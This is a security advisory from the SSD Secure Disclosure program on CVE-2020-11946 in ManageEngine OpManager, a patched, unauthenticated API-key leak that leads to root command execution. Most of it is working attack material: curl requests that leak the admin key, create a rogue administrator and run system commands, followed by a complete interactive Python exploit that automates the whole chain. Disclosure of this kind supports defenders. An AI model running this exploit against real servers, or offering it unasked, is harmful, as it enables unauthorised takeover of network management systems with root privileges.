SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE
Vulnerability Summary
ManageEngine OpManager is a central management software written in Java. A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.
Credit
An independent Security Researcher, @kuncho, has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
ManageEngine OpManager version 12.5.118 and prior.
CVE
CVE-2020-11946
Vendor Response
The vendor has released a patch to resolve this vulnerability: Unauthenticated access to API key disclosure from a servlet call.
Vulnerability Details
The servlet that leaks the admin API key is located at OpManagerIp/servlet/sendData, The Servlet is defined at line 840 in /opt/ManageEngine/OpManager/WEB-INF/web.xml as follows.
<servlet> <servlet-name>sendData</servlet-name> <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class> </servlet>
The class file for the servlet is found in a jar file located at /opt/ManageEngine/OpManager/lib/FirewallService.jar, the code path that causes the bug is shown below:
public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException { this.processRequest(req, res); } private void processRequest(final HttpServletRequest req, final HttpServletResponse res) { if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) { System.out.println(" WARNING: Installation is not of type Distributed Server. "); return; } if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) { SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return"); return; } res.resetBuffer(); res.reset(); final String adminBuild = req.getParameter("adminBuild"); if (adminBuild != null) { *** snipped *** } OutputStream outStream = null; try { final String toProcess = req.getParameter("process"); final String eeLicExStatus = req.getParameter("fwaDEcountEx"); if ("applyLic".equals(toProcess)) { *** snipped *** } else { *** snipped *** final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled")); final boolean isApikeyNeeded = "true".equals(req.getParameter("key")); this.processCentralArchiveRequest(req); outStream = (OutputStream)res.getOutputStream(); this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE if (isCentralArchiveEnabled) { this.dataSyncHandler.sync("archive", null, outStream); } if (isApikeyNeeded) { this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO } if (eeLicExStatus != null) { FirewallConstants.setFwDELicStatus(eeLicExStatus); this.invokeUIReload(eeLicExStatus); } } }
As can we can clearly see from the above code, The servlet calls a function in the dataSyncHandler class with user controlled variables, The dataSyncHandler class has a function named sync which basically queries data from the server and sends it back to us. The first parameter to this function determines what type of data we request, In our case the argument is defined by us in the first call (bug number one) and it is set to apikey in the second call (bug number two). What’s more interesting is in bug number two, the servlet passes our user parameter to the function which allows us to grab the admin API key by setting that parameter to admin. The code for the dataSyncHandler is shown below for reference.
// </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java @Override public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException { if ("sData".equals(toProcess)) { this.syncData(out); } else if ("apikey".equals(toProcess)) { this.getApikey(addlParam, out); } else if ("rPtr".equals(toProcess)) { this.clearAndUpdate(out); } else if ("del".equals(toProcess)) { this.saveDeletedInfo(); } else if ("archive".equals(toProcess)) { this.syncArchive(out); } else { if (!"mstat".equals(toProcess)) { throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing"); } DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server"); this.getLicStatus(out); } } private void getApikey(final String user, final OutputStream out) throws EnterpriseException { try { out.write("\nkey=Start\n".getBytes()); out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes()); } catch (Exception exp) { throw new EnterpriseException("Error occured while getting apikey", exp); } }
A curl request that triggers the bug is given below
curl -v 'http://192.168.56.101:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'
This would result in a response such as this:
key=Start 1a5072b0a1b3fb4a93008b52ffc0ab70 key=Start 882781cb3818e748404f059f09f246f3
>As a note, On opManager installs with build numbers prior to 123127 the sendData servlet does not exist. The same bug is found on those versions too though. The servlet name and the post data must be adjusted to the following to get the API key. The attached POC automatically checks the build version and uses the right servlet:
curl -v 'http://172.17.0.2:80/oputilsServlet' -d 'action=getAPIKey'
A sample API request to list all the users in the system, with output:
curl 'http://192.168.56.101:8080/api/json/nfausers/getAllUsers?apiKey=882781cb3818e748404f059f09f246f3' [{"uID":1,"currentUser":true,"uName":"admin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"11 Apr 2020 06:13:47 PM UTC"},{"uID":2,"currentUser":false,"uName":"trialuserlogin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"Not Available"}]
After the API key has been obtained, qe can use it to add an admin user and execute remote command using the notification profile test functionality. The notification profile test command execution is not a bug but an option to run a command when an event is triggered.
A sample API request to add a new admin user is given below:
curl -k 'http://192.168.56.101:8080/api/json/v2/admin/addUser' -d 'userName=support&privilege=Administrator&emailId=mail%40localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=&password=P@ssw0rd&apiKey=882781cb3818e748404f059f09f246f3' {"result":{"message":"User has been successfully added."}}
A request (After logging in with the new user) that will trigger the RCE is shown below (command is run as root):
curl 'http://192.168.56.101:8080/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' -H 'Cookie: signInAutomatically=true; JSESSIONID=2B0F9568F1730E05146C499F7EA9ACF3; CountryName=ETHIOPIA; NFA__SSO=D74EBE20D409F2C084EEDFF89F818F42; A07A2ABA1A105DA969183132185534A8=MzU0NjIzZDBmMWNlNmEyZjc1OTAyMmE2OWFmOWM5NzI4NjQ0MTAzNmEyOWQ5ODhlZDU2MDNjYTdmMGM0M2U0OGJhNGQwMWI1YjUxNmQzMTY5YjU2YmVkMjFhZDFiMDcwNmU0ZTAzODZjNjUyMTZkNDZhMTM0NzhiMjc3Y2UwODkwYTNjNzBjNzgyNTE1NzlhZmJhYTg1NTdlYTYyOGUyOGQ4ZGI1ZGEx; opmcsrfcookie=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' --data '&append=true&command=id>/tmp/PWNED&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.53&twoption=All&profileType=Run System Command&name=POP' {"result":{"message":"Test Action Is Successful"}}
Demo

Exploit
The included with exploit to create a full command execution from the API key leak
#!/usr/bin/python2 import requests import sys import urllib3 import json urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class OpManagerExploit(): def __init__(self,url): self.url = url self.ver = None self.api_key = False def FindVer(self): ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False) if ver_req.status_code != 200: print '[-] Unexpected response to fingerprinting request, Bailing.' return False if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1: print '[-] Unable to read OpManager version, Bailing' return False t = ver_req.text self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip()) print '\n[+] Build version of opManager is {}'.format(self.ver) print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip()) def LeakApiKey(self): if self.ver >= 123127: leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'} leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d) if leak_r.status_code != 200: print '[-] Failed to extract API KEY.' return False if leak_r.text.find('key=Start') == -1: print '[-] Invalid response in LeakApiKey()' return False d = leak_r.text api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip() print '[+] Got API Key {}'.format(api_key) return api_key else: leak_d = {'action':'getAPIKey'} leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d) if leak_r.status_code != 200: print '[-] Failed to extract API KEY.' return False d = leak_r.text if d.find('API_KEY=') == -1: print '[-] Failed to extract API key' return False api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))] print '[+] Got API Key {}'.format(api_key) return api_key def AddUser(self,interact=False): if self.api_key is False: print '[+] Leaking API key to add a new user' self.api_key = self.LeakApiKey() if self.api_key is False: print '[-] Failed to leak api to add a user' return False if interact == True: username = raw_input('Username > ') password = raw_input('Password > ') else: username = 'support@localhost.net' password = 'P@ssw0rd' print '[+] Adding a new admin user' #add_d = {'userName':username,'privilege':'Administrator','emailId':'mail@localhost.net','sipenabled':'true', 'tZone':'undefined','authentication':'local','raMode':'0','password':password,'apiKey':self.api_key} add_d = 'userName='+username+'&privilege=Administrator&emailId=mail@localhost.net&sipenabled=true&tZone=undefined&authentication=local&raMode=0'+'&apiKey='+self.api_key print "url: {}, add_d: {}".format(self.url, add_d) add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,files={'password':(None, password)},verify=False,headers={'Accept':'application/json'}) if add_r.status_code != 200: print '[-] Failed to add a new user, invalid response' return False else: try: resp = json.loads(add_r.text) except: print '[-] Failed to add user, Invalid response data' print "add_r: {}".format(add_r.content) return False if resp.keys()[0] == 'error': print '[+] Error {} while adding user'.format(resp['error']['message']) return False else: print '[+] Success, Response from server: {}'.format(resp['result']['message']) return True def DeleteUser(self,interact=False): if self.api_key is False: print '[+] Leaking API key to delete a user' self.api_key = self.LeakApiKey() if self.api_key is False: print '[-] Failed to leak api to delete a user' return False if interact == True: username = raw_input('Username to delete> ') else: username = 'support@localhost.net' users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text try: usl = json.loads(users_list) except: print '[-] Failed to obtain user list' return False user_id = None for u in usl: if u['uName'] == username: user_id = int(u['uID']) print '[+] Found user id {}'.format(user_id) break if user_id is None: print '[-] Username not found ' return False del_r = requests.post(self.url+'/api/json/admin/deleteUser',verify=False, data = {'userId':user_id,'apiKey':self.api_key}) if del_r.status_code == 200 and json.loads(del_r.text).keys()[0] != 'error': print '[+] User deleted successfully' return True else: print '[-] User deletion Failed.' return False def ExecuteCommand(self): if self.api_key is False: print '[+] Leaking API key for RCE' self.api_key = self.LeakApiKey() if self.api_key is False: print '[-] Failed to leak api for RCE' return False if self.AddUser() is False: print '[-] Failed to add user for RCE' return False print '[+] Loggin in with the added user' login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''} sess = requests.Session() sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False) login_r = sess.post(self.url+'/apiclient/ember/j_security_check',data=login_dat,verify=False) if login_r.status_code != 200 or (self.ver >= 123127 and 'opmcsrfcookie' not in sess.cookies.get_dict().keys()) or (self.ver < 123127 and login_r.text.find('selectLocalLogin()') != -1): print '[+] Login Failed...' self.DeleteUser() return False print '[+] Login Successful.' command = raw_input('Command to execute> ') if self.ver > 123127: cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'} headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']} cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False) else: cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'} cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False) try: output = json.loads(cmd_r.text) except: print '[-] Invalid Response data from RCE request' self.DeleteUser() return False if output.keys()[0] == 'result': print '[+] Command successfully executed: {}'.format(output) print '[+] Done with RCE, Cleaning up user' self.DeleteUser() return True def Exploit(self): print '[+] Starting Exploit\n[+] Please choose operation' print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key' ch = raw_input("Choice> ") if ch == '1': self.ExecuteCommand() elif ch == '2': self.AddUser(interact=True) elif ch == '3': self.DeleteUser(interact=True) elif ch == '4': self.LeakApiKey() else: print '[-] wth is {}'.format(ch) if __name__ == '__main__': if len(sys.argv) < 2: print '[+] Usage: {} <url>'.format(sys.argv[0]) exit(1) ex = OpManagerExploit(sys.argv[1].strip()) if ex.FindVer() == False: exit(1) ex.Exploit()
Comments are closed.